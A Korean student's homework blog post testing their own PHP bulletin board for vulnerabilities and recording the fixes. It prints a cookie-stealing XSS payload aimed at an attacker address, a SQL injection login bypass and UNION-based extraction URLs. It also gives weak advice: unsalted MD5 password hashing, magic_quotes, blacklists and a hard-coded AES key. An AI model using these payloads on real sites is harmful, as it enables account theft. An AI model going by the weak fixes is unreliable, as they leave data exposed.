[2주차 과제] 자신의 사이트 취약점 분석 및 정리하기!
게시판 구현 후 각 기능마다 취약점 분석
취약점 | 점검 결과 | 조치 상황 | 취약한 부분 |
Stored XSS | 위험! | htmlspecialchars 함수 사용해서 다 막았음 | 기존의 read.php나 myinfo.php, index.php, board.php 등에서 사용자가 입력한 데이터를 아무 필터링 없이 그대로 출력했었음. 물론 XSS 공격도 그대로 먹힘. |
Reflected XSS | 해당 없음! | 발생할 부분이 X | 사용자의 입력값은 모두 DB에 저장되는 방식이기에 Reflected XSS가 발생할 부분은 없습니당. |
SQL Injection | 위험! | 이건,,,X | Mysql에서 데이터를 가져오는 페이지는 모두 취약할 것으로 보입니다. SQL Injection 예시를 보고 따라서 진행해본 결과 SQL 테이블의 컬럼 개수, 칼럼 이름 등 보안에 치명적일 것으로 보이는 데이터까지 공격자가 확인할 수 있었습니다. |
오류 사항 노출 | 위험! | php.ini에서 display_errors를 껐음 | 오류가 나는 페이지에서 변수명 등 중요한 정보가 그대로 노출되고 있었음. |
어정쩡한 암호화,, | 보통! | 고민즁.. | 비밀번호의 경우 고정된 문자열을 암호화 키로 사용했는데, 이를 뭔가 사용자의 id로 하던가 하면 더 좋을거 같다!라는 생각만 가지고 있습니댜,, 더 좋은 생각은 나지 않네여,, |
서버 정보 출력 | 보통! | 방.어. | 서버의 버전 정보가 출력됨. |
패스워드 크랙 대응 | 위험! | 조치 X 계정 정보가 저장되는 테이블인 member 테이블에 임계값 컬럼을 추가하여 로그인 시도 한 번 실패당 임계값을 ++하여 임계값을 넘었을 시 계정이 잠기도록 설정하겠다는 생각만,,,가지고 있습니다. |
패스워드 크랙툴을 login.php에서 사용할시 계속해서 로그인을 시도하기 때문에 언젠가는,, 뚫리게 될 것입니당. 이를 막기 위해서 로그인 시도에 횟수 제한을 둬야할 것으로 보입니당.. |
sqlmap 사용,, | 개위험! | 조치 X | 와 sqlmap 하나로 이렇게 다 털리는구나 싶었습니다. |
[글조회-XSS(Cross-site Scripting) 사용]
참고 : https://idchowto.com/?p=28358
게시판에서 글쓰기를 할 때 입력되는 내용에 대한 필터링이 전혀 되어있지 않기에 간단한 JS 코드부터 사이트 전체를 먹통으로 만들 수 있는 코드까지!!! 모두 서버로 전송되게 되어있다.
간단한 alert문을 써서 제출하고 게시판에 뜬 글을 클릭하게 되면!!!
Javascript 코드가 아무 필터링 없이 실행됐음을 알 수 있다! 여기서 alert 대신에 location.href를 쓰면 공격자가 원하는 사이트로 이동되게끔 만들 수 있기에 위험하다.
또는 다음 코드를 입력해 쿠키 탈취까지 가능하다.
<script>document.location="쿠키값을 처리할 php주소?cookie="+document.cookie;</script>
이렇게 작성한 게시물을 클릭하면 사용자의 쿠키값이 공격자 서버의 php 파일로 전해질 것이고, 그 php 파일에서는 $_GET['cookie']로 값을 받아 저장하게 된다.
이를 막기 위해서는 여러 방법이 있겠지만, 위에서 참고한 사이트에서 언급해준 방법을 사용했다. 바로 PHP 내장함수인 htmlentities와 htmlspecialchars를 사용하는 것이다. 이 두 함수는 거의 비슷하지만 차이점이 후자는 전자와 달리 한글깨짐이 발생하지 않는다.
한글을 사용하기 때문에 사용자의 입력값을 출력해주는 부분에 모두 htmlspecialchars 함수를 이용해주자!
예를 들어 위와 같이 사용자가 입력한 댓글을 출력해주는 부분에!
위와 같이 바꿔주니 댓글에 script 태그를 입력하니
위와 같이 코드 그대로 출력되었음을 볼 수 있다!! 이처럼 모든 사용자의 입력값 출력부분에 이 함수를 사용해서 방 어 해주자!
XSS 취약점 막은 곳 : index.php에서 사용자 닉네임 출력 부분, read.php에서 글의 제목, 내용, 작성자 그리고 댓글의 내용, 댓글의 작성자 출력 부분, board.php에서 제목과 작성자 출력 부분
Input tag 속성값 조작!
글쓰기를 할 때 제목과 내용을 입력받는 input 태그에 required 속성을 추가하여 이를 빈칸으로 낼 시 submit이 진행되지 않도록 해놓았다. 근데 이를 개발자도구에서 쉽게 조작하여 제출할 수 있었다. 구현한 게시판에서는 board.php에서 글의 제목에 a 태그를 적용함으로써 그 글을 읽을 수 있게 구현하였는데, 글의 제목이 없다면 그 글은 볼 수 없게되는 불상사가 발생한다!
이처럼 제목칸을 빈칸으로 제출하려고 할 때 "이 입력칸을 작성하세요"라는 문구가 출력되어야 하지만,
개발자도구에서 저 required를 더블클릭해서 지운 후 제출하면 정상적으로 제출이 된다.
오른쪽 칸에 글의 내용을 볼 수 있는 read.php로 이어지는 링크가 있어야 하지만, 제목이 없는 탓에 링크는 생성되지 않았다. 이를 막기 위해 입력된 제목과 내용을 mysql로 보내는 insert.php에서 조치를 취했다.
위처럼 값이 공백일 때는 'No Title'이라는 문자열을 대입시켜서 $title이 공백이 되는 것을 막았다! 쫘란~
input tag hidden type 값 조작
read.php에서 댓글을 작성하는 form 태그다. 저기 hidden 타입의 input 태그로 작성자의 id와 댓글을 작성하는 게시글의 번호가 전해진다. 근데 이를 사용자가 조작할 수 있었다. 실제로 writer input 태그의 값을 test로 바꿔주면 아래와 같이 test 계정이 작성한 댓글처럼 게시가 됩니다.
흐음 이는 세션을 이용하여 고칠 수 있다. 세션으로 게시글의 번호를 정하고 작성자도 세션 id 값으로 전하면 될 것이다!
조치 X
SQL injection
https://mrrootable.tistory.com/25
주로 로그인에서 인증을 우회할 때 사용한다고 한다. 원래는 여러 공격을 해보면서 SQL 쿼리문의 모습을 대략적으로 예상한 후 논리적 오류를 발생시켜 인증에서 True 결과값이 나오게 하여 인증을 무력화시키는 방법이다. 근데 이 사이트는 내가 구현한거여서,,ㅎㅎㅎ sql 쿼리문이 어떻게 생긴지 알고있다!
$query="SELECT count(*) from member where logid='$userid' && logpw='$userpw'";
이때 사용자가 id 칸에 ' or 1=1#을 입력하면 위의 쿼리문은 아래와 같아질 것이다.(# 뒤는 주석처리 되므로 무시)
$query="SELECT count(*) from member where logid='' or 1=1 ";
이는 앞 조건이 틀려도 뒤 조건(1=1)이 무조건 True이기 때문에 이를 만족하는 값의 개수는 많을 것이다.. 그 결과 이 결과값을 가지고 처리하는
이 부분도 무조건 로그인이 성공하여 세션에 아이디를 등록한 후 홈으로 이동하게 된다.
아이디와 비번을 각각 ' or 1=1 1234(이런 계정은 없다)로 로그인한 결과 아래와 같이 로그인이 되었음을 알 수 있다.(이 방식의 경우 DB의 첫번째 계정으로 로그인이 되기에 admin 계정으로 로그인이 되었다.) 이 사이트는 단순한 게시판 사이트이므로 따로 로그인이 되면 위험한 요소는 없지만 다른 사이트에서는 위험할만한 요소다!
+ 저렇게 로그인된 상태에서 내 정보에 들어가게 되면, 이 사이트의 첫번째 계정인 admin 계정의 닉네임과 자기소개를 변경할 수 있었다.
이 SQL Injection의 대처법은 입력값 검증이다.
1. str_replace 함수를 사용하여 작은 따옴표(')를 치환해주는 방법이 있다. |
2. php.ini에서 magic_quotes_gpc 옵션을 On으로 변경 후, addslashes 함수를 이용하여 사용자의 입력값에 적용시키면! 특수문자들을 이스케이프로 전환해주는 함수이다. $id=addslashes($id); |
3. 블랙리스트 기법이 있습니다. 블랙리스트 기법은 SQL Injection으로 의심되는 특수문자를 블랙리스트로 설정해 if문을 통해사용자의 입력값에 있다면 바로 break로 멈추게 합니다. |
이번에도 sql injection을 사용한다. sql 문 뒤에 order by를 붙여 컬럼순으로 쿼리 결과를 정렬할 수 있다. 이를 이용한다. 원래는 order by 컬럼1명, 컬럼2명 ... 등과 같이 컬럼명을 이용해 순서를 정해주는 것이 정석이지만, order by 1, 2, 3 과 같이 컬럼명을 적지 않고 사용할 수 있다. 여기서 1, 2, 3은 각각 컬럼1, 컬럼2, 컬럼3을 의미한다. GET 방식으로 주어지는 정보 뒤에 +order+by+1 과 같이 붙여주면 컬럼1을 기준으로 정렬될 것이다. 실제로 있는 컬럼 번호라면 아무 오류 없이 출력이 되겠지만 만약 없는 컬럼 번호라면? 오류를 출력할 것이다.
그럼 글의 idx를 GET 방식으로 받는 read.php에서 실행해보자.
컬럼5까지는 아무 문제 없이 출력되었지만, 컬럼6을 사용하려고 한 order+by+6부터는 오류가 출력된다. 이로써 테이블의 컬럼 갯수를 알 수 있다.
웹페이지에 사용되는 컬럼 알아내기
위와 같이 GET방식으로 값을 받는 read.php에서 사용할 방법이다. 정상적인 파라미터에다가 부정조건을 전달하고 뒤에 서브쿼리(union)을 붙여 실제 유효한 쿼리는 뒤에 union을 통해 추가한 쿼리가 될 것이다.
사이트 주소/id=-99+union+select+1,2,3,4,5을 입력하면
위와 같이 뜬다. 저기 2라고 출력된 부분이 테이블 comment의 2번째 컬럼인 comment를 사용하는 곳이고, 3이 적혀있는 오른쪽 칸이 comment 테이블의 writer를 사용하는 곳이다.
이렇게 이 페이지에서 2,3번 컬럼을 사용한다는 것을 알았고 위 select를 사용한 쿼리문에서 2,3 자리에 database()를 넣어주면 데이터베이스명이 표시된다.
http://주소/read.php?id=0+union+select+1,database(),database(),4,5
위와 같이 주소창에 입력한 결과 아래와 같이 떴다.
comment 테이블이 있는 데이터베이스 이름은 members다!
여기서 더 나아가 테이블명과 컬럼명, 그리고 모든 데이터까지 모든걸 알아낼 수 있지만,,,,이해가 되는건 여기까지였다..
추가할게여,,,
위의 과정이 계속 진행된다면 공격자가 mysql 데이터베이스의 모든 정보를 추출할 수 있다. 그렇게 되면 데이터베이스에 저장되어 있는 ID, PW, email, 이름 등 여러 소중한 개인정보가 공격자의 손으로 넘어간다!!! 이를 막기 위해서 데이터베이스에 소중한 정보를 암호화 시켜서 넣는 방법이 있다. 이렇게 되면 데이터가 털려도 암호화된 상태이기 때문에 개인정보는 안전할 것이다. 데이터를 암호화하는 데에는 2가지 방법이 있었다. 단방향 암호화와 쌍방향 암호화이다.
우선 단방향 암호화는 MD5, SHA1 같은 방법으로 암호화 후 원래대로 복호화가 필요없는 경우 사용하게 된다. 예를 들어 비밀번호나 주민번호와 같이 따로 복호화를 해서 데이터를 사용할 일이 없는 경우, 이러한 데이터는 단방향 암호화를 거치게 된다.
반대로 쌍방향 암호화는 DES, DES3, ENC, COMPRESS와 같은 방법으로 암호화 후 원래대로 복호화가 필요한 경우 사용한다. 예를 들어 이름이나, ID, 메일주소, 주소, 닉네임 등과 같이 원본의 데이터를 사용해야하는 경우, 이러한 데이터들은 쌍방향 암호화를 거치게 된다.
내 게시판은 회원가입시 ID, PW, email, 닉네임, 자기소개 이렇게 5개를 입력받는다. ID, email, 닉네임 그리고 자기소개는 원본 데이터를 사용하는 경우가 있다. 그렇기에 이는 쌍방향 암호화로 진행하고 비밀번호는 단방향 암호화로 진행행도 될것 같다.
- 비밀번호
비밀번호를 mysql에 넣는 과정이 있는 join_ok.php와 process_myinfo_edit.php에서 데이터베이스로 넘어가는 비밀번호 데이터에 MD5() 함수를 이용해준다.
admin 계정의 비밀번호를 admin으로 변경했을 때 위와 같이 mysql에 암호화된 상태로 들어갔음을 확인할 수 있다.
*이렇게 DB에 들어가는 데이터를 암호화 시키는 과정에서 데이터의 길이는 원본 데이터보다 몇 배로 길어지기 때문에 충분한 길이의 데이터타입으로 준비하도록 하자!
-ID, email, 닉네임, 자기소개
예로 자기소개 암호화, 복호화 과정을 살펴보쟈. 자기소개가 입력되는 부분은 회원가입이 진행될 때와 자기정보 수정 탭에서이다. 그리고 자기소개가 보여지는 탭 또한 자기정보 수정 탭이다. 그럼 일단 입력 데이터를 암호화 해보자
자기소개 컬럼은 varchar(100)으로 선언되어 있으나 얼마나 늘어날지 감이 안와서,,, 데이터 크기를 변경해주도록 하자
ALTER TABLE {테이블 이름} MODIFY COLUMN {컬럼 이름} varchar(100)
참고로 데이터 타입과 크기는 위와 같이 변경할 수 있다.
소심하게 50만 키워주고 진행해보쟈
join_ok.php, process_myinfo_edit.php 에서 자기소개 데이터가 DB로 전송되니! 여기서 암호화를 걸어주자
AES_ENCRYPT 암호화를 사용했다. 인자로 주어진 첫번째는 암호화할 데이터이고 두번째 인자는 암호화 키이다. 이는 암호화된 데이터를 복호화 시킬 때 필요하다. 이번에는 그냥 정해진 문자열로 암호화 키를 설정했지만, 조금 더 높은 보안(?)을 원한다면 사용자의 ID를 암호화 키로 사용해도 좋겠다! 라는 생각이 든다. 아무튼! 이 과정을 join_ok.php와 process_myinfo_edit.php에 진행했다. 이제 자기소개가 출력되는 부분에서 복호화를 해주자. 해당 파일은 myinfo.php이다.
자기소개 데이터를 불러올때 복호화된 상태로 가지고 나온다! 이렇게 쌍방향 암호화를 사용하여 원본 데이터까지 사용할 수 있었다.
모든 암호화, 복호화 과정이 끝나고 새로 가입을 해보니!?
위와 같이 암호화된 데이터가 잘 들어가 있는 것을 확인할 수 있다. 후핳 이제 털려도 안위험하다구~
Null Byte Injection
사이트에서 이 공격이 먹히는 것은 확인하지 못했다. 내가 못한건가?
암튼 Null Byte Injection은 워게임에서도 몇 번 경험한 취약점이다. 이는 아래와 같은 방법으로 방지할 수 있다.
사용자의 입력값에서 \x00 혹은 \0 혹은 chr(0) 을 " "공백으로 바꿔줌으로써 이를 막을 수 있다.
$user_id=str_replace("\x00", "", $_GET['user_id']);
// OR
$user_id=str_replace("\0", "", $_GET['user_id']);
// OR
$user_id=str_replace(char(0), "", $_GET['user_id']);
Post로 전해지는 정보 중간에 바꾸기!
댓글 작성시 post 방식으로 process_comment.php에 사용자의 id와 게시물 번호가 주어진다. 댓글을 입력하고 [댓글 작성]을 눌렀을때
이를 Burp Suite에서 Intercept 한다면, 댓글 작성자를 바꿀 수 있다. 지금 댓글을 작성한 아이디는 ' or 1=1#이다. 하지만 여기서 writer의 값을 test로 바꿔준다면?
이대로 바꾼 후 forward! 하면
댓글 작성이 완료되고 작성된 댓글을 살펴보면
test라는 닉네임을 가진 id로 댓글이 작성되었음을 확인할 수 있다 ㅎㅅㅎ
SQL Map
https://m.blog.naver.com/koromoon/220413846103
그냥 위 사이트에서 알려주는 코드대로 칼리에서 실행한 결과 엄청난 결과를 보았다.
가린다고 가린 서버 정보가 뜬다,,,
그리고 제일 중요한건! SQL map 사용법을 모릅니당!
익숙해지면 추가 예정
display_errors
웹페이지 구현 시 어떤 부분에서 오류가 나는지 알기 위해서 php.ini에서 display_errors 옵션을 On으로 바꿔놨었는데 에러 사항에 노출되는 정보가 꽤 위험하다고 한다! 막 변수명 나가고 그러니깐.. 그래서 구현이 끝난 지금 아래와 같이 display_errors를 껐다.
똑같은 환경에서 구현했을 시 /etc/php/7.2/apache2/php.ini를 수정하면 된다.
서버 버전 출력
위처럼 서버의 주소 뒤에 존재하지 않는 파일을 열려고 할 때, Not Found 오류가 뜨면서 밑에 서버의 정보가 출력되는 것을 확인할 수 있다. 이는 security.conf 파일에서 ServerSignature 옵션을 Off로 변경하면 된다!
ServerSignature를 끄면서 ServerTokens도 Prod로 바꿔주었다. ServerTokens가 뭘로 설정되어 있는지에 따라 서버의 정보가 노출되는 정도가 달라진다고 한다.
이렇게 해주면!
뚜둥~
아는 취약점이 몇개 없어서,,,,더 추가할게여